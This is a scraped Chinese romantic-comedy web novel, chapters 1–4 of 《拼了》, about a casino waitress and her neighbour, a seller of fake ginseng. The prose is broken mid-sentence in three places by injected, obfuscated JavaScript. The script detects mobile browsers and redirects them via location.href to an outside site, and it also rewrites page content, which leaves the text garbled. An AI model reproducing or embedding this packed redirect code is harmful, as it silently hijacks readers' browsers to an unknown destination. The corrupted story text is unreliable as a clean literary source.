《拼了》
1. 新邻居
房东家的一楼租了出去,那个矮小潮湿鼠蚁经常光顾的屋子。
租户搬家收拾叮叮咣咣闹腾一上午。
被吵醒的吴小卷伸长脖子,头抵在防盗窗上往下看。
只看见窗沿上一层薄薄的青苔和顺着雨棚顶往下吐丝滑“索道”的空降大蜘蛛。
大蜘蛛被盯得发毛,似是感知到危险,在半空中停顿半刻,又顺着网线往上爬。
爬到雨棚顶躲起来。
视线和头跟着蜘蛛向上移动的吴小卷笑死。
怎么,她看起来像是有什么生吞蜘蛛的不良嗜好?
缩回脖子,吴小卷离开窗边,在睡裙外披上一层纱,踢踏着水晶拖鞋去客厅开电视机,再到厨房打燃气灶,往炊壶里扔五个鸡蛋,今天的早午餐制作完成。
噗呲!咔擦!
是器皿和蛋壳受到高温攻击时发出的悲鸣。
仙气飘飘转身去洗脸刷牙的吴小卷迈着外八,拖拉机般踢踏回来。
纱巾已经被她抓成一股绳紧紧缠绕在脖子上,她嘴角还残留着白色泡沫,脸上出现如有实质的裂痕,惊慌失色得像是一只吊死鬼。
炊壶里的水昨天泡脚时就用光了,此时壶底被烧得冒烟。
吴小卷膝盖微弯半蹲马步,后仰着脖子,抱着大桶矿泉水对准壶口咣咣往里倒。
背景里是老式电视机新闻播报的声音:“这座城市以合法经营娱彩业而闻名,经济的繁荣使这里流光溢彩,但产业的扩大也催生出各种形式的犯罪,如何平衡快速发展与预防犯罪之间的关系,需要社会各界共同努力……”
还好灶台开的不是猛火。
吴小卷捏着炊壶盖,不自然地扭头。
房东没有像上周一样打消防电话吧,不至于。
漫无目的地四处看了看,吴小卷心里七上八下的。
然而很快,她又恢复成面无表情。
打就打,赔钱就赔钱吧,破罐子破摔,无所谓了。
*
傍晚来临。
吴小卷打着哈欠,拖一副倦意十足的身体路过行行牌桌,去换好工作服,往眼睛里滴两滴眼药水,等待赌场营业。
场内挂钟滴答滴答,分秒不差。
所有员工已就位,金灿灿的沉重大门被缓缓拉开。
第一位客人探进半边身子,新来的迎宾服务生小高走近朝他摆了摆手,懒洋洋道:“不好意思,今天不是救助众筹日——”
客人捋一捋洗晒得发黄的衬衫,站直身子,露出全貌,状若不经意地提了提手里的东西。
那是一款银行赠送的专用行李箱,专门盛装大额钞票。
身长一米九如同长颈鹿的小高顿时换了副嘴脸,整肃精神,深深弯腰,侧身让路。
客人抬脚进门。
小高弯腰弯得硬是比客人矮了几头,垂着脖子,恨不能将顺滑的刘海铺成地毯。
他调出华丽的声线为客人进行指引:“贵宾驾到,欢迎光临,请跟紧我往里走。”
客人伸手撑住小高的肩膀往上抬,让他把背给挺直了。
今天赌场里的光影比起平日里的灯火辉煌昏暗不少,是大灯泡坏了几颗。
吴小卷捞起袖子,接过坏掉的灯泡放地上,正准备继续将载着后勤员小胖摇摇晃晃的人字梯按稳当,被叫住了。
“你,帮我翻牌。”
原来是一位客人要求她上桌和他一起玩。
吴小卷和众人都愣了愣,紧接着她不顾小胖心惊胆颤的挽留,脚踩细高跟,扭着腰走近牌桌,笑得比门口花篮里盛开的玫瑰还娇艳:“如您所愿。”
*
白窦桦从赌场出来,仰望星空,呼了口气。
从今天起,又得白手起家。
他顺了朵花,在门口蹲下,东张西望。
等那朵玫瑰的花瓣被一片片扯光只剩秃枝后,白窦桦决定在赌场不远处的巷子口摆地摊。
吴小卷下夜班出来倒垃圾,看见他,噔噔噔跑过去。
“帅哥,一个人吗?”
白窦桦挑起眼皮子:“……”
吴小卷:“我的意思是,你有对象吗?”
白窦桦摇头。
吴小卷懂了。
抽出衣服口袋里的两张票子,她晃了晃:“谢谢你的小费哦。”
看白窦桦在地上铺一块席子,从自行车后座上驮着的蛇皮袋里往外掏东西,吴小卷挪动身体腾位子,来到席子一旁,指着席子上摆放的东西,好奇问:“你从哪里来,这些是什么呀?”
白窦桦:“我从大山里来,这些是山里边的特产。”
吴小卷弯腰拿起一根带土的人参,扒拉根须,抠纹理缝隙里的泥,吃惊:“原来这东西是从土里钻出来的。”
“不然是从石头里蹦出来的?”
“我以为是长树上掉下来的。”
“你要么多读书,要么多接触大自然。”
这话刺刺的,多少带了点输得精光后的个人情绪。
“读书再说吧。”吴小卷放下人参,几根拇指互相搓搓,弹掉泥球,凑得离小摊贩很近,“大自然那么可怕,接触它干什么呀?”
白窦桦的喉结动了动,想把小费抽回来。
吴小卷把钱收好了。
白窦桦掏出一包纸巾递给她擦手,然后撇开脸,继续摆弄那些特产。
吴小卷边擦手边观察男人,没话找话:“你今天为什么要找我帮你玩牌啊?”
白窦桦:“我们老家那儿的规矩,到一个陌生的地方要先找本地人借借运势。”
吴小卷:“好特别哦。”
过了会儿。
吴小卷把带泥的纸团成一小坨,捏着下巴:“人参果是从树上掉下来的吗?”
白窦桦:“也不是。”
吴小卷:“哈啊,电视剧骗我。”
白窦桦抬眼看她,吴小卷意会出来那眼神是让她少看电视多接触大自然。
谁管。
她玩自己干净的指甲,转瞬又忧虑:“人参的根须是不是不能扒拉呀?”
吴小卷看电视剧把脑干看得有点缺失,怕现实中随手给人名贵东西碰坏了。
白窦桦不以为意:“这个没关系。”
他把摊子拾掇好,看向无聊到开始摩挲指纹的吴小卷,忽然想到什么,顿了顿,忍不住问她:“你的手气怎么会这么烂?”
没人能做到局局输,赌注越高输得越离谱,他猜是有猫腻:“赌场员工有特殊培训吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458247|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>特殊培训指作弊。
“你想多了。”吴小卷说怎么可能。
她握起拳头,抬头直视面前的人,让他放心:“偷偷告诉你,其实我是警察局派来的卧底,专门调查赌场经济犯罪,是不会和赌场老狗同流合污的。”
白窦桦仔细瞧她。
杏眼红唇,黑发高盘,皮肤白得有些透明感,脸上沾着细细的金箔,闪闪发亮。
他笃定:“卧底不会找这么乍眼的姑娘。”
吴小卷眨眨眼,睫毛像两把小扇子。
像是默认了白窦桦的话,她得意地问:“意思是你觉得我很美吗?”
“很美。”
白窦桦垂眼:“所以今晚你就是单纯手气烂。”
“也不只是今晚啦。”吴小卷诚实地摊手,表情很是无奈,“我人美,可是我心脏啊,这人的心一脏吧,运气就变差。”
她说:“所以我无法做牌桌上赢钱的客人,只能当赌场里打工的服务员。”
白窦桦眼睛依旧垂着。
也没说信是不信。
不信就算了。
吴小卷伸出一根手指去撑他的眼皮,自顾自开朗:“今晚去我家玩吧。”
白窦桦摆头:“不去。”
吴小卷:“为什么?”
白窦桦:“我玩不起。”
他把衣服裤兜都掏出来,除了刚刚插兜时带进去、粘在布料上的半片玫瑰花瓣,空空如也。
这很能理解。
吴小卷把擦完手剩下的纸还给白窦桦,拍拍自己口袋里的小费,遗憾地说好吧。
白窦桦看着她的动作,突然建议:“买些人参吧,野生的。”
吴小卷不识货:“你这人参品质好吗?”
白窦桦:“好的。”
吴小卷觉得跟这勤劳朴实的小伙子投缘,麻利掏钱:“那行,全包了。”
深夜,两人前后脚到达出租屋。
白窦桦停下自行车,脚点地,手插裤兜。
吴小卷听见响动警觉转身。
两人相对而立。
闲置私房遍地的老城区基础设施不牢靠,稀稀拉拉的路灯灯泡在静谧夜晚发出刺耳滋滋声,不一会儿就灭了两盏。
无言片刻,吴小卷认出了刚刚站在昏黄路灯下那个脸上映着死亡顶光的小伙子是谁。
将一袋子的补品小心翼翼放地上,她直起腰拍拍手,脸上扬着一个挑衅又逗弄的笑容:“你说你玩不起?”
白窦桦低头,从兜里掏出钥匙,朝吴小卷晃了晃:“我住这里。”
误会了。
“啊——”吴小卷拉长声音,快步走下楼梯,朝白窦桦摊开手掌,“原来楼底下新搬来的租户就是你,伸手。”
白窦桦伸手:“干什么?”
吴小卷笑得神神秘秘,掌心向下贴了贴白窦桦手掌:“见面礼物,希望能把我这个本地人的好运气传递给你。”
第二天。
吴小卷半边屁股坐麻将桌上,妖娆地把一篮子包装好的野人参递给老板献宝,隔空么么哒,求一个上级友下级恭相亲相爱到退休。
老板搓着麻将,看她手上的东西一眼,把烟叼到嘴角。
问:“你这上哪儿挖的桔梗子?”
2. 我前夫
卖假货的白窦桦打一枪换一个地方,摆摊不再选择赌场附近,回家时间神不知鬼不觉。
吴小卷自留了几根桔梗子,每天嚼吧嚼吧和水吞,清热解气润肺养神,吃完倒头就睡,睡眠质量太好,即使上下楼隔音效果微乎其微,她也没发现白窦桦究竟什么时候开门进的屋,这么一来,半个月都没逮到人。
好烦,桔梗库存清空,吴小卷的怨气就又卷土重来。
本来就烦人情世故,好不容易脑子抽筋向老板献一下殷勤,几个月工资被骗没了。
她烦死。
这天艳阳高照。
吴小卷收到催还款的信息,被迫起了个大早,去银行办新的信用卡。
出了银行就被一个满脸醉意的男人叫住。
吴小卷看见男人,一愣,随即笑开,把信用卡揣进手提包,风情万种道:“聊聊?”
男人瞪大眼睛,抓起吴小卷的手腕,恶狠狠道:“聊你妈!跟我回去还钱!”
吴小卷说好。
然后趁男人怔愣的几秒时间,挣开桎梏,转身拔腿就是一个百米冲刺。
还没完全醒酒的男人迟钝地抓了两下空气,反应过来破口大骂,跟在后面跑起来,摇摇晃晃,紧追不舍。
一路上数不清擦肩掠过几条巷子的犄角旮旯,吴小卷嘴里啊啊啊啊不停,间歇性大喊几句“你冷静一点”。
男人:“冷静你妈。”
下一个路口,骗子白窦桦刚摆好招牌,就见两团疾风呼啸而来。
脚底生风的吴小卷甩了下凌乱发丝,偏头瞬间,抬起长腿发狠一蹬。
白窦桦身旁的自行车哐当应声倒地。
车轮子翘得很被动很冤枉,半空中晃悠,像背部着地翻不了身的金龟子在使劲折腾。
越努力越辛酸。
后座蛇皮袋破裂开来,真假掺半的老参鹿茸咕噜噜滚了半条街。
本来还有些心虚、犹豫要不要逃走的白窦桦:“……”
他飞奔追上前,提住吴小卷的衣领。
吴小卷领口猛地收紧,心里却陡然一松。
她定在原地大喘气,胸膛起起伏伏。
追来的男人也停下脚步,隔着白窦桦朝吴小卷叫嚷。
叫嚷声吸引到一些路人群众放慢脚步。
白窦桦盯着吴小卷出了一层薄汗的后颈,手指划过那里一片淡淡的胎记,把她提着转了个方向。
“他叫你啊?”白窦桦低头问。
“呼……呼……”吴小卷喘个不停,“他叫魂……”
叫魂的男人见白窦桦和吴小卷举止亲密嘀嘀咕咕,安静下来,打了个满含酒气的嗝,他疑惑问吴小卷:“这人谁啊?”
吴小卷反手摸到白窦桦的腰,戳了戳,示意他先放手。
白窦桦松开手里的衣料,舒展手指时再次碰到了吴小卷滑腻的皮肤。
很嫩,很软,跟豆花似的。
细皮嫩肉,娇生惯养,不是警方的卧底。
是霉运当头的捣蛋鬼。
倒霉蛋吴小卷转身面向白窦桦,鬼迷日眼地说:“不好意思啊。”
没等白窦桦有反应,她身后的男人带着被无视的愤怒,伸手来抓她,被她及时闪开了。
吴小卷又钻到白窦桦身后躲起来。
男人面红耳赤,口齿不清地低骂了几句:“吴小卷……你他妈!”
吴小卷继续无视男人,在白窦桦背后踮脚。
她攀着他肩膀,小声地在他耳边威胁谈条件:“你上次骗我买假人参,今天是不是该补偿我?”
被踹翻的车轮子还在摆动。
白窦桦认为不是,要掰开她的手。
吴小卷手贴得紧紧,语气放缓:“江湖救急,你帮帮忙,之前的恩怨我们一笔勾销。”
白窦桦无动于衷,一根一根手指去掰。
吴小卷任由白窦桦掰,他掰下一根她复位上一根,同时不停加码:“你帮我打发走这个狗叫的男的,我待会儿给你收拾摊子。你这些破烂东西,我还帮你找销售渠道。”
白窦桦动作一顿:“你还能有销售渠道?”
吴小卷:“包卖出去的。”
白窦桦手上终于没再使力,偏头扫她一眼,再看向大呼小叫的男人,把男人先前问的话原封不动重复一遍:“这人谁啊?”
吴小卷长舒一口气,然后深呼吸,把握节奏:“我前夫,是个酒鬼,喜欢出轨,协议离婚后一直纠缠我,想让我帮他还清赌债继续找别的男男女女亲嘴。”
前夫?
白窦桦于是打量起醉醺醺的男人。
别说,他觉得这俩人还真挺有夫妻相。
特别是眉眼,至少有八分相似。
男人没注意白窦桦的眼神,跟吴小卷玩起老鹰捉小鸡,边捉鸡边不耐烦地大声吼:“自己麻利点滚过来,老子赶时间。”
“老母鸡”白窦桦打量的眼神里瞬间闪过一丝鄙视。
面相是不差,但是长得帅抵不过本质坏,这是个人渣。
单手揽住扯着自己腰间皮带左扭三下右扭三下的吴小卷,白窦桦往上提裤子,完事顺手推了一把追到面前的人渣,说:“她得给我收拾烂摊子。”
意思就是不会把吴小卷放走给别人薅。
男人被白窦桦推得退后两步,上前一步又被推得退后三步。
“……”于是男人收起下巴,龇牙咧嘴指了两下吴小卷,又换方向直指白窦桦,“行!收拾烂摊子,她收不收拾你的烂摊子我不管,你先给她收拾好烂摊子——”
他伸出手掌摊开,抖抖,嘴里说着要钱还债。
简直太无赖了。
白窦桦跟当街看到不可降解塑料垃圾一样恶心,忍不住打断他:“你们已经离婚了,是个人就不要再纠缠下去,自己的问题自己想办法解决。”
不是人的“垃圾”愣了,半晌才反应过来,弄清楚“离婚”是在说自己和吴小卷,眼睛霎时瞪得像铜铃。
男人破口大骂:“离你狗屎烂屁的婚!我他妈是她哥!亲哥!”
白窦桦放下揽着吴小卷的那条胳膊,有些惊讶地把头扭向她。
谁知吴小卷压根没看他,退后几步,对着男人反嘴就是一句:“吴大朗你他爹注意素质!管住你那张臭嘴里乱喷的唾沫星子!他是我未婚夫!”
未婚夫?
白窦桦手指一弯,指向自己,嘴微张。
欧莫。
欧莫欧莫。
*
混乱之中。
放慢脚步的人群驻足,围上来,想看看怎么个事。
哦,早安狗血档啊。
好看,爱看。
没素质的吴大朗不知道在琢磨什么,良久再次开口:“你可以啊,哥都不知道你什么时候有未婚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458248|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夫了。”
他咧开嘴,笑得不怀好意,朝白窦桦搓搓手,点头打招呼,又看向吴小卷:“你想让哥在你男人面前文明一点,不是不行,只要你让这冤大——我大妹夫替你还钱。”
吴小卷看了看吴大朗这一副猥琐不值钱的样子。
再将目光转向眉头微皱神态呆滞的白窦桦。
然后她嫌弃地闭上双眼。
还个屁钱,这男的还骗她钱呢。
是个男的都骗她钱。
亏她还认为白窦桦勤劳朴实。
冤大头,她才是那个冤大头。
这时白窦桦似是从震惊中回过神,在大脑中经过了严密的回忆取证,终于得出结论,不合时宜地理性开口:“他不是你前夫,我没答应你结——”
吴小卷:“你给我闭嘴。”
被这阴沉、简单又直白的指令震住,白窦桦识相地闭上了嘴。
吴小卷这才专心看向吴大朗,深呼吸,屏了屏气,又吐出来,做吞咽动作,像一只火山蟾蜍。
岩浆在她体内咕噜噜沸腾,翻涌——
——然后爆发。
“什么叫你爹的替我还钱,那他爹是我欠的钱吗?我他爹的有叫你找高利贷借钱吗?”
群众:嚯!
他们集体看向吴大朗,指指点点。
年纪轻轻,有手有脚,醉气熏天,借高利贷,让妹妹还钱,不该啊。
吴大朗在舆论的声讨中瞪眼,甩脑袋试图让自己清醒一点。
再次抬起头,吴大朗还是头昏脑胀,不过不耽误他动嘴皮子:“靠嗷。”
他语速一快,就有点大舌头,于是不得不慢慢地一字一顿:“你他妈的现在不承认了,不是因为你老子老娘得重病需要治疗费我至于去找高利贷借钱吗?”
群众指指点点的动作顿住:诶?
父母生病子女共同承担费用,也应该啊。
吴小卷:“真你爹奇了大怪了,我老子老娘不是你老子老娘?再说你老子老娘几年前就病死了,该给的钱我都给过你,信用卡办一张被你刷爆一张,要不是你他爹的沾染上各种不该沾染的东西,一借再借,那笔钱怎么会永远还不完。”
吴大朗现在脑子转得慢,说不过,抬起胳臂,似乎想动手,被注意力非常集中的群众拖了回去。
不该啊,打人不该啊。
白窦桦抬手挡在大吴和小吴之间,身体一挪一挪,动态调整位置,充当哑巴调停员。
吴小卷趴在白窦桦小臂上,屁股扭来扭去:“而且你***狗**早就把我给卖了,只不过最后债主嫌我好吃懒做不买账,那是你的问题,不是我的问题,我需要还个der的钱,现在咱俩桥归桥路归路,你别再来找我。”
“我***什么时候卖过你?”
吴大朗脸上有一瞬间的不可置信,接着又全部被醉意和烦躁取而代之。
挣脱开群众的束缚,他抹了把脸:“桥归桥个屁,我告诉你,老子***生是你哥死也是你哥,你***生下来就该帮老子擦屁股,你就算躲到天涯海角也别想跑得掉。”
“我****”
……
“老母鸡”白窦桦放下张开的双臂。
他颇为痛苦地掏了掏耳朵。
好一段酣畅淋漓的素质对话。
一个骂爹一个骂娘,这两人真是爹娘的大孝子女。
3. 英雄救美
群众指指点点的手都不知道往哪边放,左一眼右一眼瞧着这兄妹俩,越看越是卧龙凤雏。
都不该啊。
白窦桦清理完耳朵,让他们全散了,该送孩子送孩子,该上班上班,该捡垃圾捡垃圾。
等看热闹的路人走得差不多,吴大朗就又想上前。
脚步一动,就听砰的一声!
“嗯——”白窦桦后脑勺遭到痛击,被硬物砸得整个人往前倾,没忍住闷哼出声。
吴大朗这下被唬得酒醒了大半,双手交叉在胸前比划了下,像是躲什么碰瓷老头似的,赶紧往旁边闪身。
所幸白窦桦只是趔趄两步就站稳当,看样子没打算倒地不起讹人钱财。
白窦桦捂着后脑勺,手心是扎肉的短寸,耳朵里是短暂的嗡鸣,耳鸣消失后,听见吴小卷在身后哽咽大喊。
——“拿去!你全部拿去,别过来!”
他扭头,看见吴小卷不知何时早就跑到五步开外。
不出意外,刚刚朝他发射暗器的就是这个蹲地抱头痛哭的女人。
吴大朗见状吞下嘴里将要往外冒的垃圾话,绕过白窦桦,去拿吴小卷摔落在地的手提包。
见白窦桦也没阻拦,他搜刮出几张卡和少量现金,拿出吴小卷的工作证看了看,又塞回去,把包扔回原地,安静地起身离开。
离开没两秒,又想起什么,折回来,拍拍自己“妹夫”的肩膀。
这次真的走了。
白窦桦:“……”
头疼。
市井是将无数家庭和个人生活压缩在一起的地方,揉杂着酸甜苦辣的高密度喧闹很快就能淹没一切突兀声响。
吴小卷的哭泣仿佛是投入海底的石子,没多少人在意那荡起的微弱水花。
片刻后。
白窦桦捡起包,向前几步来到吴小卷身旁,拍拍仍然沉浸在伤心之中的她。
吴小卷很坚强,耸动肩膀想把不知道哪个傻der的咸猪手抖下去。
咸猪手主人发话:“喂。”
哦,是白窦桦啊。
他看完了笑话,还没有走。
吴小卷不再抖肩,闷声闷气:“放心,我没事。”
“你是没事。我有事。”
白窦桦手拿开,把包递到她头顶,也不再说未婚夫不未婚夫的事,只根据事实提出质疑:“你哥翻过你的包,你还有钱付我的医药费吗?”
吴小卷将装鹌鹑的脑袋抬起来,看到白窦桦冷漠的表情。
他掂了掂手里的凶器,指认她:“喏,刚刚你用这个偷袭了我。”
吴小卷视线下移。
“……”
误伤。
不是偷袭,这是误伤。
她脸上还挂着泪痕,伸出手把包接过来,硬着头皮翻找翻找——
几秒钟后,带着鼻音破涕为笑,庆幸说:“医保卡还在。”
……
吴小卷到附近的药店用医保卡刷了一卷纱布、一个冰袋和一盒眼药水。
卡里没钱了。
白窦桦还自掏腰包补齐了一半的费用。
瘫坐在地拿被纱布包裹的冰袋冰后脑勺,白窦桦抬头仰望天空。
刚刚的大太阳早就没了踪影。
很不寻常,阴霾笼罩。
像是现世报。
吴小卷帮他收拾完摊子,看到工工整整的手写价目牌,发现白窦桦卖给别人桔梗就是桔梗的价格,是卖给她价钱的十分之一,也不生气,架好自行车,往自己干涩的眼睛里滴眼药水,接着就去查看一番白窦桦的瞳孔。
没查看出个所以然,于是她好心地朝他眼里也挤了两滴眼药水,告辞说要准备去上班。
白窦桦闭眼,多余的眼药水溢出眼眶,从眼角滑落,让这人看上去怪脆弱的。
他扶着墙起身。
“这怎么好意思。”吴小卷显然误解了他的意思,以为他要送自己去上班。
那铁定不行,准备上班之前吴小卷还要回家睡个回笼觉再吃几个蛋的。
家里那些蛋只够她一个人的生存指标。
所以她婉拒道:“虽然你骗过我,但今天已经够麻烦你了,你不用再送我——”
“没打算送你什么。”白窦桦抬起手怼了怼眼角,提醒她,“你答应了给我找销售渠道。”
似是已经对不靠谱的吴小卷完全丧失了信任,他自己扛起麻袋放车后座,手搁在自行车龙头上,招呼说:“一起走吧,不管去哪里,这一摊货什么时候卖完咱俩什么时候散伙。”
*
天色已晚,金迷纸醉。
赌场里有人闹事,卖出野货挣到钱的白窦桦吞了两个在巷子口买的茶叶蛋,刚上赌桌,准备显能,被扬了桌子。
他闭了闭眼,喉咙里噎得慌,怀疑小半辈子的好运气到头了,最近犯大冲。
一干服务生出来赔笑,想息事宁人,结果不如人意,闹得越来越大,几方甚至掏出了家伙。
吴小卷趁乱给了拿刀的人后脑勺一酒瓶,解救出被拖拽吓哭的小高,她准备事后向老板邀功,喜滋滋逃走时踩到了破碎的红酒瓶玻璃,不幸摔跤,扭伤了脚。
客人们四散逃窜,无人在意跌坐在地的吴小卷。
被开了瓢的闹事者晕倒过去,倒是暂时没人追究是谁下的黑手。
但吴小卷非常担心发生踩踏事故,而自己变成踩踏对象,于是她忍痛爬到人少的角落,脱了鞋去看脚。
脚踝肿得很大,像焯过水去掉毛的猪蹄。
准备离场的白窦桦路过瞥到她,径直走向安全通道的脚步停下,退了回去。
白窦桦弯腰,仔细观察很狼狈的吴小卷。
问:“脚伤了,你捂脸干什么?”
吴小卷放下手,勉强朝他笑了笑,龇牙咧嘴的,额头上的青筋因为疼痛直往外冒。
答:“丢人啊。”
不过既然人丢都丢了那也就无所谓了,吴小卷自暴自弃地脱下另一只鞋,动动脚趾,左右比对两只脚的区别,用来判断自己受伤到什么程度。
她伸手去搓脚背上因劣质高跟鞋泡酒掉色而染上的颜料,随意蹭在制服裙摆上。
感受到白窦桦停留在她身上的目光,吴小卷朝他抬手,问:“闻闻?”
白窦桦:“……”
能看出来,这人确实有羞耻心和偶像包袱。
但不多。
白窦桦提醒道:“你注意素质。”
吴小卷麻木不仁:“我没有素质。”
赌场外配备的保安纷纷入场,室内的混乱程度只增不减,因为保安们也敌我不分血气方刚地干起来了。
“我问你一个问题。”白窦桦安静看了会儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458249|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吴小卷动来动去的脚趾和缩回去的爪子,整个人和平时一样淡然自若。
他手插进裤兜,语调平缓,衬托得到处瞎跑的人像乱世里的群演背景板:“从前有一个人,他得到了一个英雄救美的机会,但是他上有老下有小,救人是一项重大决策,一个不小心很可能会让他惹祸上身、家庭分崩离析,所以他打算放弃救人,你觉得他有错吗?”
吴小卷忍过急痛,人就麻了,笑得释怀而天真:“没错呀。”
她脸上有亮晶晶的汗珠,两只光脚并拢支在地面,仿佛刚化出人腿浮到岸边的美人鱼:“是我我也放弃。”
白窦桦深深看她一眼,转身走了。
吴小卷闭上眼睛,间断的痛感又慢慢浮现。
她在心里恶毒地想扬桌子的人怎么就没把顺手这装逼男的面具也扬了,可劲揍两下子呢。
好不容易对她开尊口说这么大一段词,结果说的是什么屁话玩意儿,放弃就放弃,还非得——
忽的身体悬空,惊得吴小卷一激灵。
她往身下看了一眼。
——非得扛人是什么毛病呢。
去而复返的白窦桦扛着吴小卷,飞奔在长廊上,嗤道:“你放弃什么你就放弃。”
他斜了手里拿着家伙迎面扑来要挡路的人一眼,抬脚踹倒,继续跟吴小卷对话:“差点被放弃的那个人是我。”
白窦桦跑起来也气息平稳,从头把一段真实经历向吴小卷娓娓道来:“我小时候发过一次高烧,碰巧我妹妹的奶粉罐也见了底,那时我爸口袋里只有五十块钱,反复权衡后决定任由我的免疫系统和病毒大战三百回合,拿那钱去买奶粉。我烧得快要失去意识,只能在家用冷水泡澡降温,多亏后来赶上奶粉打折,我爸只花掉三十块,等全家人把妹妹哄睡着,他又被我妈赶出门,把退烧药买回来,喂我吃了一颗,才没让我变成泡囊的糊锅巴。”
吴小卷大概听懂了这个故事,但对之前白窦桦所简述的略带润色的故事梗概有一点小小的疑惑:“所以你说的英雄救美……英雄,指你爸?”
她腾出一根手指,戳着白窦桦的脊梁骨:“美,指你?”
白窦桦往上颠肩膀,嗯了一声。
好小众的亲子关系描述方式。
吴小卷小腿晃悠,心情放松:“笑死,不是,我是说惨死人了。”
她开玩笑:“你不是亲生的吧?”
白窦桦:“嗯。”
吴小卷有些好奇了:“那你的亲生父母呢?”
白窦桦:“谁知道,可能卖毒奶粉被抓了要在牢里待一辈子吧。”
吴小卷:“……”
得,时代在发展,地狱笑话都升级了,现在流行的是牢狱笑话。
白窦桦没兴趣探讨亲生父母的去向,他执意为自己讨一个公道,又问回到最初的起点:“现在还觉得他没错吗?”
问的是弃药买奶那个非亲生英雄老爸。
吴小卷在他看不见的背后摇脑袋:“错了。”
她想:这么记仇,就应该让你烧成傻子。
“家庭条件有好有坏,但既然是一家人,就应该要做到一视同仁相互依靠的。”忽略白窦桦到底是不是亲生的问题,吴小卷伏在男人的后背上安慰他,比惨似的又说,“不过我很羡慕你妹妹,她很幸福,哪像我,家里重男轻女,爹不疼娘不爱的。”
4. 玩什么
这夜晚很长。
白窦桦终于还是踏入了吴小卷的家。
一个狗窝似的屋子。
抬举了,狗走进这屋子都得摇头。
进门之前吴小卷温馨提醒:“障碍物比较多,你要小心一点。”
然后掏出钥匙让白窦桦开锁。
白窦桦单手稳稳兜着背上的吴小卷,开了门,伸腿慢慢腾挪堵在门口的拖鞋高跟鞋,吴小卷手指一松,顺势又丢了一双下地,他熟练地再次踢开。
接着眼睛一瞥,发现高跟鞋堆里埋了两只捕鼠器。
吴小卷解释:“老鼠多,你没来的时候没事就喜欢到我这里做客。”
白窦桦皱眉:“很危险。”
吴小卷在白窦桦耳边吹气,说嗯嗯,抱紧他的脖子。
是知错不改的经典表现。
白窦桦视线还停留在捕鼠器上,感受到耳朵里的痒意和脖子上的温度,忍了忍,没忍住,微微抖动半边肩膀,抬脚进门的同时好奇问:“真的抓到过老鼠吗?”
吴小卷眨眨睫毛:“真的啊。”
不信就算了。
白窦桦信了。
他只是惊讶,人过门,鼠钻洞,大路朝天各走一边,把捕鼠器埋放在大门口臭鞋堆里,居然还能捉到老鼠,吴小卷难道是天才?
进屋把天才放到铺满衣物的沙发上,白窦桦抬头四处打量。
看到墙角横七竖八的矿泉水空瓶、桌上爬着果蝇的半边梨子,还有垃圾桶旁散落的卫生纸团和瓜子皮。
他问:“你之前让我来你家玩玩,玩什么?”
吴小卷半躺着,从一堆皱巴布料里摸到遥控器,先按了开关播放电视。
电视里在放西游记。
吴小卷调台。
电视新闻:“近日,巡逻队于我国边境发现一具高度腐烂的尸体,经过残骸DNA比对,受害人确认为丝状籍女性,此前由警方派往某国际犯罪团伙执行卧底任务……”
然后她示意白窦桦去拉电视柜下的抽屉,白窦桦拉一半,伸手进去摸,从里面端出来一盘跳跳棋。
吴小卷这才回答他的问题:“喏,博弈。”
棋盘陈旧,边缘涂料因刮蹭而掉落得七七八八,棋盘上花花绿绿的棋子缺斤少两,六个角只剩下两个角的珠子是全的。
嗯,博弈,整挺高雅。
白窦桦把跳跳棋平拿平放,搁回原位,关上抽屉,转头继续打量屋子。
他的视线晃了一圈,回到跟前。
跟前的椅子靠背上挂着内衣内裤。
也不知道是干净的还是怎么。
白窦桦:“你经常邀请别人回来玩?”
吴小卷注意力一大半在新闻主播的播音腔上,很助眠。
她昏昏欲睡:“嗯。”
白窦桦:“最后都没成吧?”
吴小卷抬了抬眼皮,清醒不少:“你怎么知道?”
会算命啊?
白窦桦没回答,起身移开那把显眼的椅子,抬脚去了洗手间。
*
赌场里的祸乱平息以后,吴小卷向老板请了假,养脚。
顺便躺家里搞电话销售,有一搭没一搭帮白窦桦找客源。
白窦桦知道后曾衷心地感谢:“这么上心啊?”
吴小卷拍胸脯说当然,只要自己答应过的事,她一向上心。
虽说上心是一回事,成事是另外一回事。
吴小卷一个客源都没找到,还被熟人当失足落入电信诈骗团伙的煞笔被拉黑。
自己在家指天痛骂了三天三夜。
出于补偿心理,吴小卷想陪白窦桦一起去摆摊,在旁边充当残疾人卖惨,吸引客流量。
被白窦桦无言拒绝。
吴小卷连天都敢指着鼻子骂,不倒霉说不过去。
